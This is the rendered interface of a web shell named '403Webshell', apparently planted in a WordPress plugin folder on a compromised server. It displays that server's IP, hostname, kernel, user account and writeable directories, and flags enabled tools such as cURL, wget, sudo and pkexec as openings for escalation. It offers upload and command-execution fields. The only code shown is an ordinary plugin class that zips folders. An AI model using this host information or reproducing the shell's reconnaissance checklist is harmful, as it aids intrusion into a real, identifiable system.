403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.31
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : jforte ( 1063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jforte/public_html/wp-content/plugins/wp-all-import/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jforte/public_html/wp-content/plugins/wp-all-import/classes/zip.php
<?php

if ( ! class_exists('PMXI_Zip')){
	
	class PMXI_Zip
	{
		/**
		   * Add files and sub-directories in a folder to zip file.
		   * @param string $folder
		   * @param ZipArchive $zipFile
		   * @param int $exclusiveLength Number of text to be exclusived from the file path.
		*/
		private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
		    $handle = opendir($folder);
		    while (false !== $f = readdir($handle)) {
		      if ($f != '.' && $f != '..') {
		        $filePath = "$folder/$f";
		        // Remove prefix from file path before add to zip.
		        $localPath = substr($filePath, $exclusiveLength);
		        if (is_file($filePath)) {
		          $zipFile->addFile($filePath, $localPath);
		        } elseif (is_dir($filePath)) {
		          // Add sub-directory.
		          $zipFile->addEmptyDir($localPath);
		          self::folderToZip($filePath, $zipFile, $exclusiveLength);
		        }
		      }
		    }
		    closedir($handle);
		}

		/**
		   * Zip a folder (include itself).
		   * Usage:
		   *   PMXI_Zip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
		   *
		   * @param string $sourcePath Path of directory to be zip.
		   * @param string $outZipPath Path of output zip file.
		*/
		public static function zipDir($sourcePath, $outZipPath)
		{
		    $pathInfo = pathInfo($sourcePath);
		    $parentPath = $pathInfo['dirname'];
		    $dirName = $pathInfo['basename'];

		    $z = new ZipArchive();
		    $z->open($outZipPath, ZIPARCHIVE::CREATE);
		    $z->addEmptyDir($dirName);
		    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
		    $z->close();
		}
	} 

}

Youez - 2016 - github.com/yon3zu
LinuXploit